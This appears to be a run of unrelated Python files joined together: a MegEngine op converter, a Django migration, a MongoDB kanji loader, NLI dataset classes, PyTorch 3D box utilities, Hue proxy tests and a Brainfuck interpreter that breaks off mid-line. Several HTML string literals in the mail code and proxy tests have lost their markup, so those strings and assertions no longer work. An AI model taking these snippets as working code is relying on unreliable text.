self.padding, self.dilation, self.group, self.kernel_shape, src.shape, grad_out.shape, ) self.add_tensors(mge_opr) @_register_op("BatchNormForward") class GenBatchNormalizationOpr(OpGenBase): def __init__(self, mge_opr, irgraph): super().__init__(mge_opr, irgraph) self.output_idx = -1 epsilon = self.params["epsilon"] if "epsilon" in self.params else 1e-5 self.op = BatchNormalizationOpr(eps=epsilon, output_idx=self.output_idx) self.add_tensors(mge_opr) def add_tensors(self, mge_opr): # set inp var: input, scale, bias, mean, var for x in mge_opr.inputs: self.op.add_inp_tensors(self.resolver.get_ir_tensor(x, user_opr=self.op)) # set out var for x in mge_opr.outputs: self.op.add_out_tensors(self.resolver.get_ir_tensor(x, owner_opr=self.op)) Bounty1993/my-blog # Generated by Django 2.2.1 on 2019-06-11 22:16 import django.db.models.deletion from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('forum', '0007_auto_20190611_1826'), ] operations = [ migrations.AlterField( model_name='thread', name='parent', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='children', to='forum.Thread'), ), migrations.AlterField( model_name='thread', name='post', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='threads', to='forum.Post'), ), ] kabi404/Kanjinary1-10 import json from pymongo import MongoClient try: conn = MongoClient() print("MongoDB Connection success.") except: print("Could not connect to MongoDB.") mongodb = conn.kanjinary with open('./static/all.json', 'r') as read_file: data = json.load(read_file) # --- save all kanjis --- mongodb['kanjis'].drop() for kanji_data in data: mongodb.kanjis.insert_one(kanji_data) # --- save kanjis by radicals --- mongodb['radicals'].drop() radicals = {} for kanji_data in data: radical = kanji_data['radical'] if not radical in radicals: radicals[radical] = [] radicals[radical].append(kanji_data['ideogram']) for key, value in radicals.items(): mongodb.radicals.insert_one({ 'ideogram': key, 'kanjis': value }) radicals = None # --- save kanjis by stroke numer --- mongodb['strokes'].drop() strokes = {} for kanji_data in data: stroke_num = kanji_data['strokes'] if not stroke_num in strokes: strokes[stroke_num] = [] strokes[stroke_num].append(kanji_data['ideogram']) for key, value in strokes.items(): mongodb.strokes.insert_one({ 'strokes': key, 'kanjis': value }) strokes = None # --- save kanjis by parts of kanji --- mongodb['parts'].drop() parts = {} for kanji_data in data: for part in kanji_data['parts']: if not part in parts: parts[part] = [] parts[part].append(kanji_data['ideogram']) for key, value in parts.items(): mongodb.parts.insert_one({ 'ideogram': key, 'kanjis': value }) parts = None # --- save kanjis by kunyomis --- mongodb['yomis'].drop() kunyomis = {} for kanji_data in data: for yomi in kanji_data['kunyomi']: if not yomi in kunyomis: kunyomis[yomi] = [] kunyomis[yomi].append(kanji_data['ideogram']) for key, value in kunyomis.items(): mongodb.yomis.insert_one({ 'yomi': key.replace('.', ''), 'type': "kunyomi", 'kanjis': value }) kunyomis = None # --- save kanjis by onyomis --- onyomis = {} for kanji_data in data: for yomi in kanji_data['onyomi']: if not yomi in onyomis: onyomis[yomi] = [] onyomis[yomi].append(kanji_data['ideogram']) for key, value in onyomis.items(): mongodb.yomis.insert_one({ 'yomi': key, 'type': "onyomi", 'kanjis': value }) onyomis = None0 import logging from typing import Optional import numpy as np import pandas as pd import torch from src.data.nli import TransformersSeqPairDataset class KASTransformersDataset(TransformersSeqPairDataset): def __init__(self, path: str, tokenizer, max_length: Optional[int] = None, return_tensors: Optional[str] = None, reverse_order: Optional[bool] = False, nrows: Optional[int] = None): data = pd.read_csv(path, sep="\t") data = data.loc[np.logical_not(np.logical_or(data["sentence1"].isna(), data["sentence2"].isna()))] if nrows is not None: logging.warning(f"Only using {nrows} random rows...") data = data.sample(n=nrows) self.seq1 = data["sentence1"].tolist() self.seq2 = data["sentence2"].tolist() valid_label = data["is_translation"].tolist() if reverse_order: self.seq1, self.seq2 = self.seq2, self.seq1 self.label_names = ["not_translation", "translation"] self.label2idx = {curr_label: i for i, curr_label in enumerate(self.label_names)} self.idx2label = {i: curr_label for curr_label, i in self.label2idx.items()} # Sanity check: expecting binary task assert len(set(valid_label)) == 2 optional_kwargs = {} if return_tensors is not None: valid_label = torch.tensor(valid_label) optional_kwargs["return_tensors"] = "pt" if max_length is not None: optional_kwargs["max_length"] = max_length optional_kwargs["padding"] = "max_length" optional_kwargs["truncation"] = "longest_first" encoded = tokenizer.batch_encode_plus(list(zip(self.seq1, self.seq2)), **optional_kwargs) encoded["labels"] = valid_label super().__init__(**encoded) class RSDO4TransformersDataset(TransformersSeqPairDataset): def __init__(self, path: str, tokenizer, max_length: Optional[int] = None, return_tensors: Optional[str] = None, reverse_order: Optional[bool] = False, nrows: Optional[int] = None): data = pd.read_csv(path, sep="\t", keep_default_na=False) data = data.loc[np.logical_not(np.logical_or(data["sentence1"].isna(), data["sentence2"].isna()))] if nrows is not None: logging.warning(f"Only using {nrows} random rows...") data = data.sample(n=nrows) self.seq1 = data["sentence1"].tolist() self.seq2 = data["sentence2"].tolist() valid_label = data["is_translation"].tolist() if reverse_order: self.seq1, self.seq2 = self.seq2, self.seq1 self.label_names = ["not_translation", "translation"] self.label2idx = {curr_label: i for i, curr_label in enumerate(self.label_names)} self.idx2label = {i: curr_label for curr_label, i in self.label2idx.items()} # Sanity check: expecting binary task assert len(set(valid_label)) == 2 optional_kwargs = {} if return_tensors is not None: valid_label = torch.tensor(valid_label) optional_kwargs["return_tensors"] = "pt" if max_length is not None: optional_kwargs["max_length"] = max_length optional_kwargs["padding"] = "max_length" optional_kwargs["truncation"] = "longest_first" encoded = tokenizer.batch_encode_plus(list(zip(self.seq1, self.seq2)), **optional_kwargs) encoded["labels"] = valid_label super().__init__(**encoded) class WMT14TransformersDataset(TransformersSeqPairDataset): def __init__(self, path: str, tokenizer, max_length: Optional[int] = None, return_tensors: Optional[str] = None, reverse_order: Optional[bool] = False, nrows: Optional[int] = None): data = pd.read_csv(path, sep="\t", lineterminator="\n") data = data.loc[np.logical_not(np.logical_or(data["sentence1"].isna(), data["sentence2"].isna()))] if nrows is not None: logging.warning(f"Only using {nrows} random rows...") data = data.sample(n=nrows) self.seq1 = data["sentence1"].tolist() self.seq2 = data["sentence2"].tolist() valid_label = data["is_translation"].tolist() if reverse_order: self.seq1, self.seq2 = self.seq2, self.seq1 self.label_names = ["not_translation", "translation"] self.label2idx = {curr_label: i for i, curr_label in enumerate(self.label_names)} self.idx2label = {i: curr_label for curr_label, i in self.label2idx.items()} # Sanity check: expecting binary task assert len(set(valid_label)) == 2 optional_kwargs = {} if return_tensors is not None: valid_label = torch.tensor(valid_label) optional_kwargs["return_tensors"] = "pt" if max_length is not None: optional_kwargs["max_length"] = max_length optional_kwargs["padding"] = "max_length" optional_kwargs["truncation"] = "longest_first" encoded = tokenizer.batch_encode_plus(list(zip(self.seq1, self.seq2)), **optional_kwargs) encoded["labels"] = valid_label super().__init__(**encoded) CCMatrixTransformersDataset = KASTransformersDataset # identical logic, rename for clarity isofit/configs/sections/forward_model_config.py1-10 #! /usr/bin/env python3 # # Copyright 2018 California Institute of Technology # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # ISOFIT: Imaging Spectrometer Optimal FITting # Author: , from typing import Dict, List, Type from isofit.configs.base_config import BaseConfigSection from isofit.configs.sections.instrument_config import InstrumentConfig from isofit.configs.sections.surface_config import SurfaceConfig from isofit.configs.sections.radiative_transfer_config import RadiativeTransferConfig class ForwardModelConfig(BaseConfigSection): """ Forward model configuration. """ def __init__(self, sub_configdic: dict = None): self._instrument_type = InstrumentConfig self.instrument: InstrumentConfig = None """ Instrument: instrument config section. """ self._surface_type = SurfaceConfig self.surface: SurfaceConfig = None """ Instrument: instrument config section. """ self._radiative_transfer_type = RadiativeTransferConfig self.radiative_transfer: RadiativeTransferConfig = None """ RadiativeTransfer: radiative transfer config section. """ self.set_config_options(sub_configdic) def _check_config_validity(self) -> List[str]: errors = list() return errors # String Slicing mystr = "Sandesh My Text Is Always Good" print(mystr) print(mystr[0:2]) print(len(mystr)) print(mystr[::4]) print(mystr[:7]) print(mystr[:]) print(mystr[::-1]) print(mystr.isalnum()) print(mystr.endswith("Good")) print(mystr.count("s")) print(mystr.find("Is")) print(mystr.upper()) print(mystr.replace("Text", "Program"))0 # coding:utf-8 # That's an impressive list of imports. import numpy as np import os # We'll use matplotlib for graphics. import matplotlib.pyplot as plt import seaborn as sns sns.set_style('darkgrid') sns.set_palette('muted') sns.set_context("notebook", font_scale=1.5, rc={"lines.linewidth": 2.5}) def scatter(x, colors): # We choose a color palette with seaborn. palette = np.array(sns.color_palette("hls", 4)) # We create a scatter plot. f = plt.figure(figsize=(8, 8)) ax = plt.subplot(aspect='equal') sc = ax.scatter(x[:,0], x[:,1], lw=0, s=40, c=palette[colors.astype(np.int)]) plt.xlim(-250, 250) plt.ylim(-250, 250) ax.axis('off') ax.axis('tight') # We add the labels for each digit. txts = [] # for i in range(10): # # Position of each label. # xtext, ytext = np.median(x[colors == i, :], axis=0) # txt = ax.text(xtext, ytext, str(i), fontsize=24) # txt.set_path_effects([ # PathEffects.Stroke(linewidth=5, foreground="w"), # PathEffects.Normal()]) # txts.append(txt) return f, ax, sc#, txts type = 'wine' if not (os.path.exists(type)): os.mkdir(type) os.mkdir(type+'/me') os.mkdir(type+'/original') file_label = open('../../data/'+type+'/'+type+'_label.txt') # list_of_all_the_lines = file_object.readlines() labels = [] for line in file_label: #labels.append(ord(line.lstrip()[0])-81) labels.append(line.lstrip().replace('\n','')) file_label.close() for i in range(0,50): file_proj = open('../wine_withPCA_withRank_2_P20_50times_exp-avg-multip_+0.0/wine_F_2.0_withPCA__withRank_result_'+str(i)+'.txt') datas = [] for line in file_proj: arr = line.replace('\n','').split(',') datas.append([float(arr[0]),float(arr[1])]) file_proj.close() # print(labels) # print(datas) scatter(np.array(datas), np.array(labels)) plt.savefig(type+'/me/'+ type+'_me_'+str(i)+'.png', dpi=120) #plt.savefig(type+'/original/'+type + '_'+str(i) + '.png', dpi=120) 0 # Remote Services Calls from threading import Thread import jwt from flask import url_for from flask_mail import Message from . import app from . import mail def send_async(app, msg): with app.app_context(): mail.send(msg) def send_verification_mail(recipient, token): link = url_for('verify_email', token=token, _external=True) print("USER EMAIL CONFIRMATION LINK: ", link) msg = Message('Zelite Account Verification', sender="", recipients=[recipient]) msg.body = 'Click the link below to activate your account ' + link msg.html = "

    Zelite Platform

    Welcome To Zelite IoT Platform Click activate to verify your account

    \ activate".format(link) # mail.send(msg) Thread(target=send_async, args=(app, msg)).start() def send_password_reset_mail(): pass 1-10 import pathlib def getPathToImage(filename: str) -> str: return str(pathlib.Path(__file__).parent.joinpath("data", filename)) ONE_FACE = getPathToImage("one_face.jpg") SEVERAL_FACES = getPathToImage("several_faces.jpg") MANY_FACES = getPathToImage("many_faces.jpg") NO_FACES = getPathToImage("kand.jpg") """ Created on April, 2018 @author: pytorch network utils """ import torch import torch.nn as nn import numpy as np import copy PI = 3.141592653589793 def conv(in_plane, out_plane, kernel_size, stride): """ conv2d layer with same padding :param in_plane: :param out_plane: :param kernel_size: :return: conv with same padding """ return nn.Sequential( nn.Conv2d(in_plane, out_plane, kernel_size=kernel_size, padding=(kernel_size - 1) // stride, stride=stride), ) def basis_from_ori(ori): """ :param ori: torch tensor the orientation angle :return: basis: 3x3 tensor the basis in 3D coordinates """ n = ori.size(0) ori = ori / 180.0 * PI basis = torch.zeros((n, 3, 3)).cuda() basis[:, 0, 0] = torch.cos(ori) basis[:, 0, 1] = - torch.sin(ori) basis[:, 1, 0] = torch.sin(ori) basis[:, 1, 1] = torch.cos(ori) basis[:, 2, 2] = 1 return basis def get_corners_of_bb3d(basis, coeffs, centroid): """ :param basis: b x 3 x 3 tensor :param coeffs: b x 3 tensor :param centroid: b x 3 tensor :return: corners b x 8 x 3 tensor """ n = basis.size(0) corners = torch.zeros((n, 8, 3)).cuda() coeffs = coeffs.view(n, 3, 1).expand(-1, -1, 3) centroid = centroid.view(n, 1, 3).expand(-1, 8, -1) corners[:, 0, :] = -basis[:, 0, :] * coeffs[:, 0, :] + basis[:, 1, :] * coeffs[:, 1, :] + basis[:, 2, :] * coeffs[:, 2, :] corners[:, 1, :] = basis[:, 0, :] * coeffs[:, 0, :] + basis[:, 1, :] * coeffs[:, 1, :] + basis[:, 2, :] * coeffs[:, 2, :] corners[:, 2, :] = basis[:, 0, :] * coeffs[:, 0, :] + -basis[:, 1, :] * coeffs[:, 1, :] + basis[:, 2, :] * coeffs[:, 2, :] corners[:, 3, :] = -basis[:, 0, :] * coeffs[:, 0, :] + -basis[:, 1, :] * coeffs[:, 1, :] + basis[:, 2, :] * coeffs[:, 2, :] corners[:, 4, :] = -basis[:, 0, :] * coeffs[:, 0, :] + basis[:, 1, :] * coeffs[:, 1, :] + -basis[:, 2, :] * coeffs[:, 2, :] corners[:, 5, :] = basis[:, 0, :] * coeffs[:, 0, :] + basis[:, 1, :] * coeffs[:, 1, :] + -basis[:, 2, :] * coeffs[:, 2, :] corners[:, 6, :] = basis[:, 0, :] * coeffs[:, 0, :] + -basis[:, 1, :] * coeffs[:, 1, :] + -basis[:, 2, :] * coeffs[:, 2, :] corners[:, 7, :] = -basis[:, 0, :] * coeffs[:, 0, :] + -basis[:, 1, :] * coeffs[:, 1, :] + -basis[:, 2, :] * coeffs[:, 2, :] corners = corners + centroid return corners def to_dict_tensor(dicts, if_cuda): dicts_new = copy.copy(dicts) for key, value in dicts_new.items(): value_new = torch.from_numpy(np.array(value)) if value_new.type() == 'torch.DoubleTensor': value_new = value_new.float() if if_cuda: value_new = value_new.cuda() dicts_new[key] = value_new return dicts_new def physical_violation(bdb_layout, bdb_3d): """ compute the loss of physical violation :param bdb_layout: 1 x 8 x 3 tensor :param bdb_3d: b x 8 x 3 tensor :return: """ b = bdb_3d.size(0) layout_max = torch.max(bdb_layout, dim=1)[0].expand(b, -1) # bx3 layout_min = torch.min(bdb_layout, dim=1)[0].expand(b, -1) # bx3 bdb_max = torch.max(bdb_3d, dim=1)[0] # b x 3 bdb_min = torch.min(bdb_3d, dim=1)[0] # b x 3 violation = torch.nn.functional.relu(bdb_max - layout_max) + torch.nn.functional.relu(layout_min - bdb_min) # b x 3 return violation, torch.zeros(b, 3).cuda() def get_rotation_matix_result(bins_tensor, yaw_cls_gt, yaw_reg_result, roll_cls_gt, roll_reg_result): """ :param bins_tensor: :param yaw_cls_gt: :param yaw_reg_result: :param roll_cls_gt: :param roll_reg_result: :return: r_ex 1 x 3 x 3 tensor """ yaw_result = torch.gather(yaw_reg_result, 1, yaw_cls_gt.view(yaw_cls_gt.size(0), 1).expand(yaw_cls_gt.size(0), 1)).squeeze(1) roll_result = torch.gather(roll_reg_result, 1, roll_cls_gt.view(roll_cls_gt.size(0), 1).expand(roll_cls_gt.size(0), 1)).squeeze(1) yaw = num_from_bins(bins_tensor['yaw_bin'], yaw_cls_gt, yaw_result) roll = num_from_bins(bins_tensor['roll_bin'], roll_cls_gt, roll_result) r_ex = get_rotation_matrix_from_yaw_roll(-yaw / 180.0 * PI, -roll / 180.0 * PI) return r_ex def get_rotation_matrix_gt(bins_tensor, yaw_cls_gt, yaw_reg_gt, roll_cls_gt, roll_reg_gt): yaw = num_from_bins(bins_tensor['yaw_bin'], yaw_cls_gt, yaw_reg_gt) roll = num_from_bins(bins_tensor['roll_bin'], roll_cls_gt, roll_reg_gt) r_ex = get_rotation_matrix_from_yaw_roll(- yaw / 180.0 * PI, - roll / 180.0 * PI) return r_ex def get_bdb_3d_result(bins_tensor, ori_cls_gt, ori_reg_result, centroid_cls_gt, centroid_reg_result, size_cls_gt, size_reg_result, P, K, R_ex): # coeffs size_reg = torch.gather(size_reg_result, 1, size_cls_gt.view(size_cls_gt.size(0), 1, 1).expand(size_cls_gt.size(0), 1, size_reg_result.size(2))).squeeze(1) coeffs = (size_reg + 1) * bins_tensor['avg_size'][size_cls_gt, :] # b x 3 # centroid centroid_reg = torch.gather(centroid_reg_result, 1, centroid_cls_gt.view(centroid_cls_gt.size(0), 1).expand(centroid_cls_gt.size(0), 1)).squeeze(1) centroid_depth = num_from_bins(bins_tensor['centroid_bin'], centroid_cls_gt, centroid_reg) centroid = rgbd_to_world(P, centroid_depth, K, R_ex) # b x 3 # basis ori_reg = torch.gather(ori_reg_result, 1, ori_cls_gt.view(ori_cls_gt.size(0), 1).expand(ori_cls_gt.size(0), 1)).squeeze(1) ori = num_from_bins(bins_tensor['ori_bin'], ori_cls_gt, ori_reg) basis = basis_from_ori(ori) bdb = get_corners_of_bb3d(basis, coeffs, centroid) return bdb def get_bdb_3d_gt(bins_tensor, ori_cls_gt, ori_reg_gt, centroid_cls_gt, centroid_reg_gt, size_cls_gt, size_reg_gt, P, K, R_ex): # coeffs coeffs = (size_reg_gt + 1) * bins_tensor['avg_size'][size_cls_gt, :] # b x 3 # centroid centroid_depth = num_from_bins(bins_tensor['centroid_bin'], centroid_cls_gt, centroid_reg_gt) centroid = rgbd_to_world(P, centroid_depth, K, R_ex) # b x 3 # basis ori = num_from_bins(bins_tensor['ori_bin'], ori_cls_gt, ori_reg_gt) basis = basis_from_ori(ori) bdb = get_corners_of_bb3d(basis, coeffs, centroid) return bdb def rgbd_to_world(p, depth, K, R_ex): """ Given pixel location and depth, get world coordinates :param p: b x 2 tensor :param depth: b tensor :param k: 1 x 3 x 3 tensor :param r_ex: 1 x 3 x 3 tensor :return: p_world_right: b x 3 tensor in right hand coordinate """ n = p.size(0) x_temp = (p[:, 0] + 1 - K[0, 0, 2]) / K[0, 0, 0] y_temp = (p[:, 1] + 1 - K[0, 1, 2]) / K[0, 1, 1] z_temp = 1 x = x_temp / torch.sqrt(x_temp**2 + y_temp**2 + z_temp**2) * depth y = y_temp / torch.sqrt(x_temp**2 + y_temp**2 + z_temp**2) * depth z = z_temp / torch.sqrt(x_temp**2 + y_temp**2 + z_temp**2) * depth p_cam = torch.stack((x, y, z), 1).view(n, 3, 1) # n x 3 p_world = torch.bmm(torch.transpose(R_ex, 1, 2).expand(n, -1, -1), p_cam) p_world_right = torch.stack((p_world[:, 0, 0], p_world[:, 2, 0], -p_world[:, 1, 0]), 1) return p_world_right def get_layout_bdb(bins_tensor, ori_cls, ori_reg, centroid_reg, coeffs_reg): """ get the eight corners of 3D bounding box :param bins_tensor: :param ori_cls: 1 tensor :param ori_reg: 1 x 3 tensor :param centroid_reg: 1 x 3 tensor :param coeffs_reg: 1 x 3 tensor :return: bdb """ ori_reg = torch.gather(ori_reg, 1, ori_cls.view(1, 1).expand(1, 1)).squeeze(1) ori = num_from_bins(bins_tensor['layout_ori_bin'], ori_cls, ori_reg) basis = basis_from_ori(ori) coeffs_reg = (coeffs_reg + 1) * bins_tensor['layout_coeffs_avg'] centroid_reg = centroid_reg * bins_tensor['layout_normalize'] + bins_tensor['layout_centroid_avg'] bdb = get_corners_of_bb3d(basis, coeffs_reg, centroid_reg) return bdb def get_bdb_2d_result(bdb3d, r_ex, K): """ :param bins_tensor: :param bdb3d: b x 8 x 3 tensor :param r_ex: :param K: 1 x 3 x 3 tensor :return: """ n = bdb3d.size(0) points_2d = project_3d_points_to_2d(bdb3d, r_ex, K) # b x 8 x 2 x1 = torch.max(torch.min(points_2d[:, :, 0], dim=1)[0], torch.ones(n).cuda()) / (K[0, 0, 2].float()) y1 = torch.max(torch.min(points_2d[:, :, 1], dim=1)[0], torch.ones(n).cuda()) / (K[0, 1, 2].float()) x2 = torch.min(torch.max(points_2d[:, :, 0], dim=1)[0], torch.ones(n).cuda() * 2 * K[0, 0, 2]) / (K[0, 0, 2].float()) y2 = torch.min(torch.max(points_2d[:, :, 1], dim=1)[0], torch.ones(n).cuda() * 2 * K[0, 1, 2]) / (K[0, 1, 2].float()) return torch.stack((x1, y1, x2, y2), 1) def get_bdb_2d_gt(bins_tensor, bdb3d, yaw_cls_gt, yaw_reg_gt, roll_cls_gt, roll_reg_gt, K): n = bdb3d.size(0) yaw = num_from_bins(bins_tensor['yaw_bin'], yaw_cls_gt, yaw_reg_gt) roll = num_from_bins(bins_tensor['roll_bin'], roll_cls_gt, roll_reg_gt) r_ex = get_rotation_matrix_from_yaw_roll(- yaw / 180.0 * PI, - roll / 180.0 * PI) points_2d = project_3d_points_to_2d(bdb3d, r_ex, K) # b x 8 x 2 x1 = torch.max(torch.min(points_2d[:, :, 0], dim=1)[0], torch.ones(n).cuda()) y1 = torch.max(torch.min(points_2d[:, :, 1], dim=1)[0], torch.ones(n).cuda()) x2 = torch.min(torch.max(points_2d[:, :, 0], dim=1)[0], torch.ones(n).cuda() * 2 * K[0, 0, 2]) y2 = torch.min(torch.max(points_2d[:, :, 1], dim=1)[0], torch.ones(n).cuda() * 2 * K[0, 1, 2]) return torch.stack((x1, y1, x2, y2), 1) def project_3d_points_to_2d(points3d, R_ex, K): """ project 3d points to 2d :param points3d: b x 8 x 3 tensor :param R_ex: 1 x 3 x 3 tensor :param K: 1 x 3 x 3 tensor :return: """ n = points3d.size(0) points3d_left_hand = torch.stack((points3d[:, :, 0], -points3d[:, :, 2], points3d[:, :, 1]), 2) # transform to left hand coordinate points_cam_ori = torch.transpose(torch.bmm(R_ex.expand(n, -1, -1), torch.transpose(points3d_left_hand, 1, 2)), 1, 2) # b x 8 x 3 points_cam = torch.transpose(torch.stack((points_cam_ori[:, :, 0], points_cam_ori[:, :, 1], torch.abs(points_cam_ori[:, :, 2])), 2), 1, 2) # b x 3 x 8 points_2d_ori = torch.transpose(torch.bmm(K.expand(n, -1, -1), points_cam), 1, 2) # b x 8 x 3 points_2d = torch.stack((points_2d_ori[:, :, 0] / points_2d_ori[:, :, 2], points_2d_ori[:, :, 1] / points_2d_ori[:, :, 2]), 2) # n x 8 x 2 return points_2d def get_rotation_matrix_from_yaw_roll(yaw, roll): """ :param yaw: b x 1 tensor :param roll: b x 1 tensor :return: R_ex in left hand coordinates """ n = yaw.size(0) R = torch.zeros((n, 3, 3)).cuda() R[:, 0, 0] = torch.cos(yaw) R[:, 0, 1] = - torch.sin(yaw) * torch.cos(roll) R[:, 0, 2] = torch.sin(roll) * torch.sin(yaw) R[:, 1, 0] = torch.sin(yaw) R[:, 1, 1] = torch.cos(roll) * torch.cos(yaw) R[:, 1, 2] = - torch.cos(yaw) * torch.sin(roll) R[:, 2, 0] = 0 R[:, 2, 1] = torch.sin(roll) R[:, 2, 2] = torch.cos(roll) return R def num_from_bins(bins, cls, reg): """ :param bins: b x 2 tensors :param cls: b long tensors :param reg: b tensors :return: bin_center: b tensors """ bin_width = (bins[0][1] - bins[0][0]) bin_center = (bins[cls, 0] + bins[cls, 1]) / 2 return bin_center + reg * bin_width """ Functions for testing """ def get_bdb_evaluation(bins_tensor, ori_cls_gt, ori_reg_result, centroid_cls_gt, centroid_reg_result, size_cls_gt, size_reg_result, P, K, R_ex): size_reg = torch.gather(size_reg_result, 1, size_cls_gt.view(size_cls_gt.size(0), 1, 1).expand(size_cls_gt.size(0), 1, size_reg_result.size(2))).squeeze(1) coeffs = (size_reg + 1) * bins_tensor['avg_size'][size_cls_gt, :] # b x 3 # centroid centroid_reg = torch.gather(centroid_reg_result, 1, centroid_cls_gt.view(centroid_cls_gt.size(0), 1).expand(centroid_cls_gt.size(0), 1)).squeeze(1) centroid_depth = num_from_bins(bins_tensor['centroid_bin'], centroid_cls_gt, centroid_reg) centroid = rgbd_to_world(P, centroid_depth, K, R_ex) # b x 3 # basis ori_reg = torch.gather(ori_reg_result, 1, ori_cls_gt.view(ori_cls_gt.size(0), 1).expand(ori_cls_gt.size(0), 1)).squeeze(1) ori = num_from_bins(bins_tensor['ori_bin'], ori_cls_gt, ori_reg) basis = basis_from_ori(ori) n = ori_cls_gt.size(0) bdb_output = [{'basis': basis[i, :, :].cpu().numpy(), 'coeffs': coeffs[i, :].cpu().numpy(), 'centroid': centroid[i, :].cpu().numpy(), 'classid':size_cls_gt[i].cpu().numpy() + 1} for i in range(n)] return bdb_output def get_yaw_roll_error(bin, reg_result, cls_result, reg_gt, cls_gt): result = torch.gather(reg_result, 1, torch.argmax(cls_result, 1).view(cls_result.size(0), 1).expand(cls_result.size(0), 1)).squeeze(1) result_num = num_from_bins(bin, torch.argmax(cls_result), result) gt_num = num_from_bins(bin, cls_gt, reg_gt) return torch.abs(result_num - gt_num) # basis = basis_from_ori(torch.rand(2)) # coeffs = torch.rand((2, 3)) # centroid = torch.rand((2, 3)) # get_corners_of_bb3d(basis, coeffs, centroid) 1-10 #!/usr/bin/env python # Licensed to Cloudera, Inc. under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. Cloudera, Inc. licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Tests for proxy app. import threading import logging import BaseHTTPServer import StringIO from nose.tools import assert_true, assert_false from django.test.client import Client from desktop.lib.django_test_util import make_logged_in_client from proxy.views import _rewrite_links import proxy.conf class Handler(BaseHTTPServer.BaseHTTPRequestHandler): """ To avoid mocking out urllib, we setup a web server that does very little, and test proxying against it. """ def do_GET(self): self.send_response(200) self.send_header("Content-type", "text/html; charset=utf8") self.end_headers() self.wfile.write("Hello there.") self.wfile.write("You requested: " + self.path + ".") self.wfile.write("Image: ") self.wfile.write("Link: link") def do_POST(self): self.send_response(200) self.send_header("Content-type", "text/html; charset=utf8") self.end_headers() self.wfile.write("Hello there.") self.wfile.write("You requested: " + self.path + ".") # Somehow in this architecture read() blocks, so we read the exact # number of bytes the test sends. self.wfile.write("Data: " + self.rfile.read(16)) def log_message(self, fmt, *args): logging.debug("%s - - [%s] %s" % (self.address_string(), self.log_date_time_string(), fmt % args)) def run_test_server(): """ Returns the server, and a method to close it out. """ # We need to proxy a server, so we go ahead and create one. httpd = BaseHTTPServer.HTTPServer(("127.0.0.1", 0), Handler) # Spawn a thread that serves exactly one request. thread = threading.Thread(target=httpd.handle_request) thread.daemon = True thread.start() def finish(): # Make sure the server thread is done. print "Closing thread " + str(thread) thread.join(10.0) # Wait at most 10 seconds assert_false(thread.isAlive()) return httpd, finish run_test_server.__test__ = False def test_proxy_get(): """ Proxying test. """ client = Client() # All apps require login. client.login(username="test", password="") httpd, finish = run_test_server() try: # Test the proxying finish_conf = proxy.conf.WHITELIST.set_for_testing(r"127\.0\.0\.1:\d*") try: response_get = client.get('/proxy/127.0.0.1/%s/' % httpd.server_port, dict(foo="bar")) finally: finish_conf() assert_true("Hello there" in response_get.content) assert_true("You requested: /?foo=bar." in response_get.content) assert_true("/proxy/127.0.0.1/%s/foo.jpg" % httpd.server_port in response_get.content) assert_true("/proxy/127.0.0.1/%s/baz?with=parameter" % httpd.server_port in response_get.content) finally: finish() def test_proxy_post(): """ Proxying test, using POST. """ client = Client() # All apps require login. client.login(username="test", password="") httpd, finish = run_test_server() try: # Test the proxying finish_conf = proxy.conf.WHITELIST.set_for_testing(r"127\.0\.0\.1:\d*") try: response_post = client.post('/proxy/127.0.0.1/%s/' % httpd.server_port, dict(foo="bar", foo2="bar")) finally: finish_conf() assert_true("Hello there" in response_post.content) assert_true("You requested: /." in response_post.content) assert_true("foo=bar" in response_post.content) assert_true("foo2=bar" in response_post.content) finally: finish() def test_blacklist(): client = make_logged_in_client('test') finish_confs = [ proxy.conf.WHITELIST.set_for_testing(r"localhost:\d*"), proxy.conf.BLACKLIST.set_for_testing(r"localhost:\d*/(foo|bar)/fred/"), ] try: # Request 1: Hit the blacklist resp = client.get('/proxy/localhost/1234//foo//fred/') assert_true("is blocked" in resp.content) # Request 2: This is not a match httpd, finish = run_test_server() try: resp = client.get('/proxy/localhost/%s//foo//fred_ok' % (httpd.server_port,)) assert_true("Hello there" in resp.content) finally: finish() finally: for fin in finish_confs: fin() class UrlLibFileWrapper(StringIO.StringIO): """ urllib2.urlopen returns a file-like object; we fake it here. """ def __init__(self, buf, url): StringIO.StringIO.__init__(self, buf) self.url = url def geturl(self): """URL we were initialized with.""" return self.url def test_rewriting(): """ Tests that simple re-writing is working. """ html = "barbaz" assert_true('bar' in _rewrite_links(UrlLibFileWrapper(html, "http://abc.com/sub/")), msg="Relative links") assert_true('baz' in _rewrite_links(UrlLibFileWrapper(html, "http://abc.com/sub/")), msg="Absolute links") # Test url with port and invalid port html = "barbaz" assert_true('barbaz' in _rewrite_links(UrlLibFileWrapper(html, "http://abc.com/sub/")), msg="URL with invalid port") html = """
    """ rewritten = _rewrite_links(UrlLibFileWrapper(html, "http://abc.com/sub/")) assert_true('' in rewritten, msg="Rewrite images") #!/usr/bin/env python3 import os import sys CELL_SIZE = 9.223372036854776e+18 def format(code: str) -> str: commands = ['>', '<', '+', '-', '.', ',', '[', ']'] return ''.join(filter(lambda x: x in commands, code)) def run(filename: str) -> None: if not os.path.isfile(filename): print(f'No file named "{filename}" was found') else: with open(filename, 'r') as input_stream: code, lines = '', input_stream.readlines() for line in lines: code += line process(format(code)) def safe_pop(stack: list[str], index: int) -> int: try: return stack.pop() except IndexError: print(f'Mismatched bracket: command number {index + 1}.') exit() def locate_brackets(code: str) -> list[int]: loop_brackets, brackets = [], [-1] * len(code) for position, command in enumerate(code): if command == '[': loop_brackets.append(position) if command == ']': start = safe_pop(loop_brackets, position) brackets[start] = position brackets[position] = start return brackets def process(code: str) -> None: cells, cell_ptr, code_ptr, brackets 